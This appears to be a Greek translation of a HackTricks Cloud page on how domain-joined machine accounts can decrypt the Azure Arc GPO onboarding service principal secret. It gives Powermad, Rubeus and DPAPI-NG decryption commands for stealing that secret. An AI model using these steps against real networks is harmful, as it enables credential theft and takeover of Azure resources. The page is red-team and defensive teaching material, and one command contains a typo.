Az - Arc ευάλωτο GPO Deploy Script
Tip
Μάθετε & εξασκηθείτε στο AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Δείτε τα subscription plans!
- Εγγραφείτε στο 💬 Discord group ή την telegram group ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε τα hacking tricks υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.
Αναγνώριση των Προβλημάτων
Το Azure Arc επιτρέπει την ενσωμάτωση νέων εσωτερικών διακομιστών (διακομιστές που ανήκουν σε τομέα) στο Azure Arc χρησιμοποιώντας τη μέθοδο Group Policy Object. Για να διευκολυνθεί αυτό, η Microsoft παρέχει ένα εργαλείο ανάπτυξης απαραίτητο για την έναρξη της διαδικασίας onboarding. Μέσα στο αρχείο ArcEnableServerGroupPolicy.zip, μπορούν να βρεθούν τα εξής σενάρια: DeployGPO.ps1, EnableAzureArc.ps1 και AzureArcDeployment.psm1.
Όταν εκτελείται, το σενάριο DeployGPO.ps1 εκτελεί τις εξής ενέργειες:
- Δημιουργεί το Azure Arc Servers Onboarding GPO εντός του τοπικού τομέα.
- Αντιγράφει το σενάριο onboarding EnableAzureArc.ps1 στο καθορισμένο κοινόχρηστο δίκτυο που έχει δημιουργηθεί για τη διαδικασία onboarding, το οποίο περιέχει επίσης το πακέτο εγκατάστασης των Windows.
Κατά την εκτέλεση αυτού του σεναρίου, οι διαχειριστές συστημάτων πρέπει να παρέχουν δύο κύριες παραμέτρους: ServicePrincipalId και ServicePrincipalClientSecret. Επιπλέον, απαιτούνται άλλες παράμετροι όπως ο τομέας, το FQDN του διακομιστή που φιλοξενεί το κοινόχρηστο, και το όνομα του κοινόχρηστου. Περαιτέρω λεπτομέρειες όπως το tenant ID, η ομάδα πόρων και άλλες απαραίτητες πληροφορίες πρέπει επίσης να παρέχονται στο σενάριο.
Ένα κρυπτογραφημένο μυστικό δημιουργείται στον κατάλογο AzureArcDeploy στο καθορισμένο κοινόχρηστο χρησιμοποιώντας κρυπτογράφηση DPAPI-NG. Το κρυπτογραφημένο μυστικό αποθηκεύεται σε ένα αρχείο με όνομα encryptedServicePrincipalSecret. Απόδειξη αυτού μπορεί να βρεθεί στο σενάριο DeployGPO.ps1, όπου η κρυπτογράφηση εκτελείται καλώντας το ProtectBase64 με $descriptor και $ServicePrincipalSecret ως είσοδοι. Ο περιγραφέας αποτελείται από τα SIDs της ομάδας Domain Computer και Domain Controller, διασφαλίζοντας ότι το ServicePrincipalSecret μπορεί να αποκρυπτογραφηθεί μόνο από τις ομάδες ασφαλείας Domain Controllers και Domain Computers, όπως σημειώνεται στα σχόλια του σεναρίου.
# Encrypting the ServicePrincipalSecret to be decrypted only by the Domain Controllers and the Domain Computers security groups
$DomainComputersSID = "SID=" + $DomainComputersSID
$DomainControllersSID = "SID=" + $DomainControllersSID
$descriptor = @($DomainComputersSID, $DomainControllersSID) -join " OR "
Import-Module $PSScriptRoot\AzureArcDeployment.psm1
$encryptedSecret = [DpapiNgUtil]::ProtectBase64($descriptor, $ServicePrincipalSecret)
Εκμετάλλευση
Έχουμε τις εξής συνθήκες:
- Έχουμε διεισδύσει με επιτυχία στο εσωτερικό δίκτυο.
- Έχουμε τη δυνατότητα να δημιουργήσουμε ή να αναλάβουμε τον έλεγχο ενός λογαριασμού υπολογιστή εντός του Active Directory.
- Έχουμε ανακαλύψει μια κοινή χρήση δικτύου που περιέχει τον φάκελο AzureArcDeploy.
Υπάρχουν αρκετές μέθοδοι για να αποκτήσουμε έναν λογαριασμό μηχανής σε ένα περιβάλλον AD. Μία από τις πιο κοινές είναι η εκμετάλλευση του ποσοστού λογαριασμών μηχανών. Μια άλλη μέθοδος περιλαμβάνει την παραβίαση ενός λογαριασμού μηχανής μέσω ευάλωτων ACL ή διάφορων άλλων κακοδιαμορφώσεων.
Import-MKodule powermad
New-MachineAccount -MachineAccount fake01 -Password $(ConvertTo-SecureString '123456' -AsPlainText -Force) -Verbose
Αφού αποκτηθεί ένας λογαριασμός μηχανής, είναι δυνατή η αυθεντικοποίηση χρησιμοποιώντας αυτόν τον λογαριασμό. Μπορούμε είτε να χρησιμοποιήσουμε την εντολή runas.exe με την επιλογή netonly είτε να χρησιμοποιήσουμε pass-the-ticket με το Rubeus.exe.
runas /user:fake01$ /netonly powershell
.\Rubeus.exe asktgt /user:fake01$ /password:123456 /prr
Έχοντας το TGT για τον λογαριασμό του υπολογιστή μας αποθηκευμένο στη μνήμη, μπορούμε να χρησιμοποιήσουμε το παρακάτω σενάριο για να αποκρυπτογραφήσουμε το μυστικό του service principal.
Import-Module .\AzureArcDeployment.psm1
$encryptedSecret = Get-Content "[shared folder path]\AzureArcDeploy\encryptedServicePrincipalSecret"
$ebs = [DpapiNgUtil]::UnprotectBase64($encryptedSecret)
$ebs
Εναλλακτικά, μπορούμε να χρησιμοποιήσουμε SecretManagement.DpapiNG.
Σε αυτό το σημείο, μπορούμε να συγκεντρώσουμε τις υπόλοιπες πληροφορίες που χρειάζονται για να συνδεθούμε στο Azure από το αρχείο ArcInfo.json, το οποίο είναι αποθηκευμένο στο ίδιο δίκτυο με το αρχείο encryptedServicePrincipalSecret. Αυτό το αρχείο περιέχει λεπτομέρειες όπως: TenantId, servicePrincipalClientId, ResourceGroup και άλλα. Με αυτές τις πληροφορίες, μπορούμε να χρησιμοποιήσουμε το Azure CLI για να αυθεντικοποιηθούμε ως ο παραβιασμένος service principal.
Αναφορές
Tip
Μάθετε & εξασκηθείτε στο AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Δείτε τα subscription plans!
- Εγγραφείτε στο 💬 Discord group ή την telegram group ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε τα hacking tricks υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.
HackTricks Cloud

